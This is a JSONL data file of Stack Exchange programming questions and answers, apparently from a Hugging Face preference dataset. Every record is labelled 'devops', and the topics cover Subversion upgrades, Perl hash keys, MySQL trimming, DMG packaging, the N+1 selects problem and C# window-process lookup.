{"id": "hf_629c06ce436c", "question": "<p>My development server (CentOS 5) is running Subversion 1.4.2, and I wish to upgrade it to 1.5.  I have read in various blogs and documents scattered around the web that this may be done by using RPMForge.  I have followed the instructions found on <a href=\"http://wiki.centos.org/AdditionalResources/Repositories/RPMForge?action=show&amp;redirect=Repositories%2FRPMForge\" rel=\"nofollow noreferrer\">CentOS Wiki</a>, including installing yum-priorities and setting my priorities as indicated (1 and 2 for core repo sources, and 20 for RPMForge).</p>\n\n<p>However, when I attempt to run:</p>\n\n<pre><code>$ yum info subversion\n</code></pre>\n\n<p>the version number given to me is still 1.4.2, with a status of Installed.  My other option at this point is compiling from source, but I would like to find a package-managed solution for ease of future upgrades.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "If you install\nRPMForge\n's repos, you should then be able to get a newer package - this isn't working for you?\nYou should see rpmforge.list in /etc/apt/sources.list.d with a line like:\n```\n```\nrepomd http://apt.sw.be redhat/el$(VERSION)/en/$(ARCH)/dag\n```\n```\nI just tested on a clean CentOS 5 install, and\n```\nyum check-update\n```\nshows\n```\n```\nsubversion.i386                          1.5.2-0.1.el5.rf       rpmforge\nsubversion-perl.i386                     1.5.2-0.1.el5.rf       rpmforge\n```\n```\nSo check your sources list and run check-update again.\nEdit: Whoops, lost part of my answer.  Added it back above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.890048"}
{"id": "hf_969e280518ee", "question": "<p>Let's say I have data structures that're something like this:</p>\n\n<pre><code>Public Class AttendenceRecord\n  Public CourseDate As Date\n  Public StudentsInAttendence As Integer\nEnd Class\n\nPublic Class Course\n  Public Name As String\n  Public CourseID As String\n  Public Attendance As List(Of AttendenceRecord)\nEnd Class\n</code></pre>\n\n<p>And I want a table that looks something like this:</p>\n\n<pre>\n| Course Name | Course ID | [Attendence(0).CourseDate] | [Attendence(1).CourseDate]| ...\n| Intro to CS |  CS-1000  |             23             |              24           | ...\n| Data Struct |  CS-2103  |             15             |              14           | ...\n</pre>\n\n<p>How would I, in the general case, get everything to the right of Course ID to be horizontally scrollable, while holding Course Name and Course ID in place? Ideally using a table, listview, or datagrid inside ASP.NET and/or WinForms.</p>\n", "question_body": "", "answer": "In pure .Net I don't know of anything.  There are\nCSS Solutions\nfor a fixed header.  But a fixed left column, in my experience, requires some javascript finangling.\nTook me a minute to find the old example.  Host has since gone down.\nhttp://web.archive.org/web/20080215013647/http://www.litotes.demon.co.uk/example_scripts/tableScroll.html\nThis is the mechanism I used to get it to work:  Take a normal table, and separate it out into 4 other tables.  Get the column widths and row heights to match up using business constraints, and then link the onscroll event to scroll the other tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.926218"}
{"id": "hf_453dca894848", "question": "<p>I have a flash app (SWF) running Flash 8 embedded in an HTML page. How do I get flash to reload the parent HTML page it is embedded in? I've tried using ExternalInterface to call a JavaScript function to reload the page but that doesn't seem to work.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "Try something like this:\n```\ngetURL(\"javascript:location.reload(true)\");\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.986323"}
{"id": "hf_b62e7e63d0f6", "question": "<p>How do you organize your Extension Methods? Say if I had extensions for the object class and string class I'm tempted to separate these extension methods into classes IE:</p>\n\n<pre><code>public class ObjectExtensions\n{\n    ...\n}\n\npublic class StringExtensions\n{\n    ...\n}\n</code></pre>\n\n<p>am I making this too complicated or does this make sense?</p>\n", "question_body": "", "answer": "There are two ways that I organize the extension methods which I use,\n1) If the extension is specific to the project I am working on, then I keep it in the same project/assembly, but in its own namespace.\n2) If the extension is of a kind so that I may or is using it in other projects too, then I separate them in a common assembly for extensions.\nThe most important thing to keep in mind is, what is the scope which I will be using these in? Organizing them isn't hard if I just keep this in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.009508"}
{"id": "hf_9d04b1ba4e61", "question": "<p>Is there any way to use a constant as a hash key?</p>\n\n<p>For example:</p>\n\n<pre><code>use constant X =&gt; 1;\n\nmy %x = (X =&gt; 'X');\n</code></pre>\n\n<p>The above code will create a hash with \"X\" as key and not 1 as key. Whereas, I want to use the value of constant X as key.</p>\n", "question_body": "", "answer": "```\nuse constant\n```\nactually makes constant subroutines.\nTo do what you want, you need to explicitly call the sub:\n```\n```\nuse constant X => 1;\n\nmy %x = ( &X => 'X');\n```\n```\nor\n```\n```\nuse constant X => 1;\n\nmy %x = ( X() => 'X');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.167456"}
{"id": "hf_41ddea035d21", "question": "<p>Every so often I get an error saying one of my tables \"is marked as crashed and should be repaired\". I then do a REPAIR TABLE and repair it. What causes them to be marked as crashed and how can I prevent it? I am using MyISAM tables with MySQL 5.0.45.</p>\n", "question_body": "", "answer": "It could be many things, but\nMySQL Performance Blog\nmentions bad memory, OS or MySQL bugs that could cause hidden corruption. Also, that and\nanother article\nmention several things to keep in mind when doing crash recovery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.203239"}
{"id": "hf_a654a3858d9a", "question": "<p>I'd like to make status icons for a C# WinForms TreeList control.  The statuses are combinations of other statuses (eg. a user node might be inactive or banned or inactive and banned), and the status icon is comprised of non-overlapping, smaller glyphs.  </p>\n\n<p>I'd really like to avoid having to hand-generate all the possibly permutations of status icons if I can avoid it.  </p>\n\n<p>Is it possible to create an image list (or just a bunch of bitmap resources or something) that I can use to generate the ImageList programmatically?</p>\n\n<p>I'm poking around the System.Drawing classes and nothing's jumping out at me.  Also, I'm stuck with .Net 2.0.</p>\n", "question_body": "", "answer": "```\n```\nBitmap image1 = ...\nBitmap image2 = ...\n\nBitmap combined = new Bitmap(image1.Width, image1.Height);\nusing (Graphics g = Graphics.FromImage(combined)) {\n  g.DrawImage(image1, new Point(0, 0));\n  g.DrawImage(image2, new Point(0, 0);\n}\n\nimageList.Add(combined);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.227462"}
{"id": "hf_7fdcc0360819", "question": "<p>What would the differences be in implementing remote business logic?</p>\n\n<p>Currently we are planning on using <a href=\"http://en.wikipedia.org/wiki/Oracle_Application_Development_Framework\" rel=\"nofollow noreferrer\">ADF</a> to develop front-end web applications (moving from <a href=\"http://en.wikipedia.org/wiki/Apache_Struts\" rel=\"nofollow noreferrer\">Struts</a>). What are the differences between the front end calling <a href=\"http://en.wikipedia.org/wiki/Enterprise_JavaBean\" rel=\"nofollow noreferrer\">EJBs</a> using <a href=\"http://en.wikipedia.org/wiki/TopLink\" rel=\"nofollow noreferrer\">TopLink</a> vs ADF Business Components through <a href=\"http://en.wikipedia.org/wiki/Java_remote_method_invocation\" rel=\"nofollow noreferrer\">RMI</a> in terms of scalability as the migration from Struts to ADF will also encompass PL/SQL and Oracle Forms, thus increasing the user count drastically?</p>\n", "question_body": "", "answer": "I'm going through a similar situation right now. I'm am not an expert, but here what I've gathered from my experience. Whether EJB's using Toplink or ADF scales better depends quite a bit on the particulars of your situation. In some cases one might be better than the other, but I get the feeling that they are both pretty good solutions.\nHowever since you mention that the project also involves the migration of Oracle Forms, then it seems that ADF would be the best choice since Oracle seems to be positioning JDeveloper and ADF as the successor for Forms and Reports (see the\nADF Documentation targeting Forms and Designer Developers\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.251729"}
{"id": "hf_b92598f58b23", "question": "<p>I need to create a nice installer for a Mac application. I want it to be a disk image (DMG), with a predefined size, layout and background image.</p>\n\n<p>I need to do this programmatically in a script, to be integrated in an existing build system (more of a pack system really, since it only create installers. The builds are done separately). </p>\n\n<p>I already have the DMG creation done using \"hdiutil\", what I haven't found out yet is how to make an icon layout and specify a background bitmap.</p>\n", "question_body": "", "answer": "Don't go there. As a long term Mac developer, I can assure you, no solution is really working well. I tried so many solutions, but they are all not too good. I think the problem is that Apple does not really document the meta data format for the necessary data.\nHere's how I'm doing it for a long time, very successfully:\nCreate a new DMG, writeable(!), big enough to hold the expected binary and extra files like readme (sparse might work).\nMount the DMG and give it a layout manually in Finder or with whatever tools suits you for doing that. The background image is usually an image we put into a hidden folder (\".something\") on the DMG. Put a copy of your app there (any version, even outdated one will do). Copy other files (aliases, readme, etc.) you want there, again, outdated versions will do just fine. Make sure icons have the right sizes and positions (IOW, layout the DMG the way you want it to be).\nUnmount the DMG again, all settings should be stored by now.\nWrite a create DMG script, that works as follows:\nIt copies the DMG, so the original one is never touched again.\nIt mounts the copy.\nIt replaces all files with the most up to date ones (e.g. latest app after build). You can simply use\nmv\nor\nditto\nfor that on command line. Note, when you replace a file like that, the icon will stay the same, the position will stay the same, everything but the file (or directory) content stays the same (at least with ditto, which we usually use for that task). You can of course also replace the background image with another one (just make sure it has the same dimensions).\nAfter replacing the files, make the script unmount the DMG copy again.\nFinally call hdiutil to convert the writable, to a compressed (and such not writable) DMG.\nThis method may not sound optimal, but trust me, it works really well in practice. You can put the original DMG (DMG template) even under version control (e.g. SVN), so if you ever accidentally change/destroy it, you can just go back to a revision where it was still okay. You can add the DMG template to your Xcode project, together with all other files that belong onto the DMG (readme, URL file, background image), all under version control and then create a target (e.g. external target named \"Create DMG\") and there run the DMG script of above and add your old main target as dependent target. You can access files in the Xcode tree using ${SRCROOT} in the script (is always the source root of your product) and you can access build products by using ${BUILT_PRODUCTS_DIR} (is always the directory where Xcode creates the build results).\nResult: Actually Xcode can produce the DMG at the end of the build. A DMG that is ready to release. Not only you can create a release DMG pretty easy that way, you can actually do so in an automated process (on a headless server if you like), using xcodebuild from command line (automated nightly builds for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.276101"}
{"id": "hf_2eee1fab6834", "question": "<p>What mysql functions are there (if any) to trim leading zeros from an alphanumeric text field?  </p>\n\n<p>Field with value \"00345ABC\" would need to return \"345ABC\".</p>\n", "question_body": "", "answer": "You are looking for the\ntrim() function\n.\nAlright, here is your example\n```\n```\nSELECT TRIM(LEADING '0' FROM myfield) FROM table\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.338346"}
{"id": "hf_fd2908f3955d", "question": "<p>Business Objects Web Services returns error codes and I have yet to find a good resource where these are listed and what they mean.  I am currently getting an \"The resultset was empty. (Error: WBP 42019)\".  Any ideas on where these might be listed?  I've called Business Objects support and the tech couldn't even tell me.  Anyone?</p>\n", "question_body": "", "answer": "Perhaps\nThis\n? (PDF Link - beware)\nFound here: (Google cache, as the page appears dead):\nhttp://209.85.173.104/search?q=cache:fyB21Ywrj-MJ:support.businessobjects.com/communityCS/TechnicalPapers/pecodes.pdf.asp+%22Business+Objects%22+%22Error+Codes%22&hl=en&ct=clnk&cd=1&gl=us", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.449206"}
{"id": "hf_8b646143ec3f", "question": "<p>I have the following string:</p>\n\n<pre><code>cn=abcd,cn=groups,dc=domain,dc=com\n</code></pre>\n\n<p>Can a regular expression be used here to extract the string after the first <code>cn=</code> and before the first <code>,</code>? In the example above the answer should be <code>abcd</code>. </p>\n", "question_body": "", "answer": "Yeah, using perl/java syntax\n```\ncn=([^,]*),\n```\n. You'd then get the 1st group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.508862"}
{"id": "hf_8d020a102b24", "question": "<p>I am trying to do 'rake db:migrate' and getting the error message 'no such file to load -- openssl'. Both 'openssl' and 'openssl-devel' packages are installed. Others on Debian or Ubuntu seem to be able to get rid of this by installing 'libopenssl-ruby', which is not available for RedHat. Has anybody run into this and have a solution for it?</p>\n", "question_body": "", "answer": "There is probably a gem you are missing.  Can you provide the stack trace and the line of code where it originates?\nRe-run rake with\n```\n--trace\n```\nto get the stack trace printed.\nEDIT: Also what version of Ruby are you running?  openssl.rb is in my 1.8.6 install", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.569887"}
{"id": "hf_a8de2f7f1383", "question": "<p>I'm using freemarker, SiteMesh and Spring framework.\nFor the pages I use ${requestContext.getMessage()} to get the message from message.properties. But for the decorators this doesn't work. How should I do to get the internationalization working for sitemesh?</p>\n", "question_body": "", "answer": "You have to use the\nfmt\ntaglib.\nFirst, add the taglib for sitemesh and fmt on the fisrt line of the decorator.\n```\n```\n<%@ taglib prefix=\"decorator\" uri=\"http://www.opensymphony.com/sitemesh/decorator\"%>\n<%@ taglib prefix=\"page\" uri=\"http://www.opensymphony.com/sitemesh/page\"%>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jstl/core\"%>\n<%@ taglib prefix=\"fmt\" uri=\"http://java.sun.com/jstl/fmt\"%>\n<fmt:setBundle basename=\"messages\" />\n```\n```\nIn my example, the i18n file is messages.properties. Then you need to use the fmt tag to use the mesages.\n```\n```\n<fmt:message key=\"key_of_message\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.593761"}
{"id": "hf_4787ce27ab76", "question": "<p>The \"N+1 selects problem\" is generally stated as a problem in Object-Relational mapping (ORM) discussions, and I understand that it has something to do with having to make a lot of database queries for something that seems simple in the object world.</p>\n\n<p>Does anybody have a more detailed explanation of the problem?</p>\n", "question_body": "", "answer": "Suppose you have COMPANY and EMPLOYEE. COMPANY has many EMPLOYEES (i.e. EMPLOYEE has a field COMPANY_ID).\nIn some O/R configurations, when you have a mapped Company object and go to access its Employee objects, the O/R tool will do one select for every employee, wheras if you were just doing things in straight SQL, you could\n```\nselect * from employees where company_id = XX\n```\n.  Thus N (# of employees) plus 1 (company)\nThis is how the initial versions of EJB Entity Beans worked.  I believe things like Hibernate have done away with this, but I'm not too sure.  Most tools usually include info as to their strategy for mapping.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.659815"}
{"id": "hf_b2fc24f8f092", "question": "<p>I want (barely computer literate) people to easily submit a large number of files (pictures) through my web application. Is there a simple, robust, free/cheap, widely used, standard tool/component (Flash or .NET - sorry no java runtime on the browser) that allows a web user to select a folder or a bunch of files on their computer and upload them? </p>\n", "question_body": "", "answer": "swfupload\n, the best tool I know that lets you do that. Simple, easy to use and even has a fallback mechanism for the  1% web users that don't have flash 8+.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.682895"}
{"id": "hf_efd6ba95099b", "question": "<p>I am using the <strong>AjaxControlToolkit</strong> in VS2005, and it works fine. I do have some issues though, when I go to some pages I have, then click back, I get this JavaScript error:</p>\n\n<blockquote>\n  <p>'AjaxControlToolkit' is undefined</p>\n</blockquote>\n\n<p>I have searched MSDN forums, and google, and tried many of the solutions, but none have worked. I have tried, <code>EnablePartialRendering=\"true\",</code> and others. Short of rewriting everything and changing the workflow of my application, is there any way to find the root cause of this, or fix it?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "Is that a javascript error?\nI suppose it has to do with back-button support in the toolkit.\nAnd undefined errors mostly occurs because somehow the script that contains \"AjaxControlToolkit\" doesn't gets properly loaded.\nThing that come to mind:\nThe order scripts get loaded, does the Toolkit gets priority?\nWhen there are errors in any of the loaded scripts all the other scripts that hasn't loaded yet will simply be canceled and not gets loaded.\nSee the outputted HTML of the problem page, find links to all the AXD files and make sure you can download them and see valid javascripts inside.\nAnd if you don't already, get\nFirefox\nand\nFirebug\nand you should be able to trace to the actual script line that emits the error.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.730536"}
{"id": "hf_91ccffac36f4", "question": "<p>For example if the user is currently running VS2008 then I want the value VS2008.</p>\n", "question_body": "", "answer": "I am assuming you want to get the name of the process owning the currently focused window. With some P/Invoke:\n```\n```\n// The GetForegroundWindow function returns a handle to the foreground window\n// (the window  with which the user is currently working).\n[System.Runtime.InteropServices.DllImport(\"user32.dll\")]\nprivate static extern IntPtr GetForegroundWindow();\n\n// The GetWindowThreadProcessId function retrieves the identifier of the thread\n// that created the specified window and, optionally, the identifier of the\n// process that created the window.\n[System.Runtime.InteropServices.DllImport(\"user32.dll\")]\nprivate static extern Int32 GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);\n\n// Returns the name of the process owning the foreground window.\nprivate string GetForegroundProcessName()\n{\n    IntPtr hwnd = GetForegroundWindow();\n\n    // The foreground window can be NULL in certain circumstances, \n    // such as when a window is losing activation.\n    if (hwnd == null)\n        return \"Unknown\";\n\n    uint pid;\n    GetWindowThreadProcessId(hwnd, out pid);\n\n    foreach (System.Diagnostics.Process p in System.Diagnostics.Process.GetProcesses())\n    {\n        if (p.Id == pid)\n            return p.ProcessName;\n    }\n\n    return \"Unknown\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.814350"}
{"id": "hf_e06d7eeb3bbd", "question": "<p>How do I find out what directory my console app is running in with C#?</p>\n", "question_body": "", "answer": "On windows (not sure about Unix etc.) it is the first argument in commandline.\nIn C/C++ firts item in argv*\nWinAPI - GetModuleFileName(NULL, char*, MAX_PATH)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.850690"}
{"id": "hf_8689010a53f1", "question": "<p>I'm using GCC to generate a dependency file, but my build rules put the output into a subdirectory. Is there a way to tell GCC to put my subdirectory prefix in the dependency file it generates for me?</p>\n\n<pre><code>gcc $(INCLUDES) -E -MM $(CFLAGS) $(SRC) &gt;&gt;$(DEP)\n</code></pre>\n", "question_body": "", "answer": "If there is an argument to GCC to do this, I don't know what it is. We end up piping the dependency output through\nsed\nto rewrite all occurrences of\n```\n<blah>.o\n```\nas\n```\n${OBJDIR}/<blah>.o\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.898792"}
{"id": "hf_af40317b1f4b", "question": "<p>C# has the keyword called <a href=\"http://msdn.microsoft.com/en-us/library/9k7k7cf0(VS.80).aspx\" rel=\"noreferrer\">yield</a>. VB.NET lacks this keyword. How have the Visual Basic programmers gotten around the lack of this keyword? Do they implement they own iterator class?  Or do they try and code to avoid the need of an iterator?</p>\n\n<p>The <a href=\"http://msdn.microsoft.com/en-us/library/9k7k7cf0(VS.80).aspx\" rel=\"noreferrer\">yield</a> keyword does force the compiler to do some coding behind the scenes. <em><a href=\"http://blogs.msdn.com/oldnewthing/archive/2008/08/12/8849519.aspx\" rel=\"noreferrer\">The implementation of iterators in C# and its consequences (part 1)</a></em> has a good example of that. </p>\n", "question_body": "", "answer": "I personally just write my own iterator class that inherits from\n```\nIEnumerator(Of T)\n```\n. It does take some time to get it right, but I think in the end it's better to write it right then try to avoid it. Another method that I have done is to write a recursive method that returns\n```\nIEnumerable(Of T)\n```\nand just returns\n```\nList(Of T)\n```\nand uses\n```\n.AddRange\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.957855"}
{"id": "hf_82abc6b12699", "question": "<p>I know there is a way to add a IE control, how do you add a chrome control...? Is it even possible right now?</p>\n\n<p>I'm need this because of the fast javascript VM found in chrome.</p>\n", "question_body": "", "answer": "IE control is actually ActiveX component - so it can be wrapped in .Net component. It is not real IE, it's mainly only its rendering engine (HTML+CSS+JS) plus web client (HTTP and some more protocols) Control itself has no menu, bookmarks etc. Chrome is full featured browser. So you should be asking for WebKit (rendering engine chrome use, developed by Safari's guys) control.\nThere is an outdated Mozilla ActiveX (actually Gecko rendering engine). It's much more complicated to use and only available as ActiveX, no native .Net/C#.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:14.981709"}
{"id": "hf_59de58fab577", "question": "<p>How do I get the physical addresses of my machine in <strong>Java</strong>?</p>\n", "question_body": "", "answer": "```\n```\ntry {\n    InetAddress addr = InetAddress.getLocalHost();\n\n    // Get IP Address\n    byte[] ipAddr = addr.getAddress();\n\n    // Get hostname\n    String hostname = addr.getHostName();\n} catch (UnknownHostException e) {\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.017557"}
{"id": "hf_da1dc5a36d49", "question": "<p>Will IE6 negotiate a 256 bit AES SSL connection if the server is capable?</p>\n", "question_body": "", "answer": "Possibly, I can't work out for sure yet, but what I can tell you is AES256 appears to be restricted by US Export restrictions on high-security cryptography, and for this reason, some platforms may lack this capacity.\nAlso, upon further searching, msdn pages ( such as\nthis one\n) seem to point to AES support ( period! ) being only available since Vista / IE7.\nNo news yet whether or not MS decided to backport it, but it looks dubious.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.052272"}
{"id": "hf_788c7e0748fa", "question": "<p>Has anyone figured out how to use Crystal Reports with Linq to SQL?</p>\n", "question_body": "", "answer": "Altough I haven't tried it myself it seems to be possible by using a combination of DataContext.LoadOptions to make it eager to accept relations and GetCommand(IQueryable) to return a SQLCommand object that preserves relations.\nSee more info on\nMSDN Forums\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.126660"}
{"id": "hf_3a1f2e31235a", "question": "<p>I need to get the value of the 'test' attribute in the xsl:when tag, and the 'name' attribute in the xsl:call-template tag.   This xpath gets me pretty close:  </p>\n\n<pre><code>..../xsl:template/xsl:choose/xsl:when\n</code></pre>\n\n<p>But that just returns the 'when' elements, not the exact attribute values I need.</p>\n\n<p>Here is a snippet of my XML:</p>\n\n<pre><code>&lt;xsl:template match=\"field\"&gt;\n    &lt;xsl:choose&gt;\n    &lt;xsl:when test=\"@name='First Name'\"&gt;\n        &lt;xsl:call-template name=\"handleColumn_1\" /&gt; \n    &lt;/xsl:when&gt;\n&lt;/xsl:choose&gt;\n</code></pre>\n", "question_body": "", "answer": "do you want\n```\n.../xsl:template/xsl:choose/xsl:when/@test\n```\nIf you want to actually get the value 'First Name' out of the test attribute, you're out of luck -- the content inside the attribute is just a string, and not a piece of xml, so you can't xpath it. If you need to get that, you must use string manipulation (Eg, substring) to get the right content", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.161417"}
{"id": "hf_2a7091ad52df", "question": "<p>I mean, this is <a href=\"http://sakaiproject.org/portal\" rel=\"nofollow noreferrer\">Sakai</a>, the open source project of a learning management system. But, really I'm clueless trying to estimate the hidden costs in one implementation project (on the technology side, not the pedagogy-stuff) in a small-medium scale institution.</p>\n\n<ul>\n<li>Deployment (1 engineer two or three months, with experience in Java EE)</li>\n<li>Customisation (1 engineer, 1 designer two or three months also)</li>\n<li>Support (1 guy)</li>\n<li>One server reasonably good with 4, 8 or 16 GB in RAM. It will host the application server, the database server, and da da! ? </li>\n<li>???</li>\n</ul>\n\n<p>can somebody experienced, give me advice in how to estimate the TCO in open source implementations like this? In fact, it could be Moodle, and in that case I would be lost too!</p>\n\n<p>Yep, is not really a question of programming, but I think that this is one proper place to ask.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I work on support staff for a large uni that uses Blackboard. All the support people are students working part time, so salary can be pretty low per hour. You'll want to have someone on permanent staff as an administrator, who could also be the developer/deployment guy. Perhaps only part time if your institution is small enough, but someone who knows the ins and outs of the system will be handy\nwhen\n(not if) things go wrong. (Maybe you could combine them with the support role?)  On that note, you'll probably want a seperate server for backups and recovery, at the least something that will backup data.\nIf your school is small enough, maybe one person could handle the admin/support/dev roles by themselves (my roles are both support and developent and I often wish I had admin priveleges). You could probably talk to your IT department on how much servers are going for these days, I'm not sure there or on competitive salary ranges (but students are cheap.) Hope that helps some.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.270339"}
{"id": "hf_12299a1dd413", "question": "<p>Given a source color of any hue by the system or user, I'd like a simple algorithm I can use to work out a lighter or darker variants of the selected color. Similar to effects used on Windows Live Messenger for styling the user interface.</p>\n\n<p>Language is C# with .net 3.5.</p>\n\n<p><strong>Responding to comment:</strong> Color format is (Alpha)RGB. With values as bytes or floats.</p>\n\n<p><strong>Marking answer:</strong> For the context of my use (a few simple UI effects), the answer I'm marking as accepted is actually the most simple for this context. However, I've given up votes to the more complex and accurate answers too. Anyone doing more advanced color operations and finding this thread in future should definitely check those out. Thanks SO. :)</p>\n", "question_body": "", "answer": "You can convert your color into the HSL color-space, manipulate it there and convert back to your color-space of choice (most likely that's RGB)\nLighter colors have a higher L-value, darker a lower.\nHere's the relevant stuff and all the equations:\nhttp://en.wikipedia.org/wiki/HSL_color_space\nAnother method is to simply interpolate your color with white or black. This will also desaturate the color a bit but it's cheaper to calculate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.402642"}
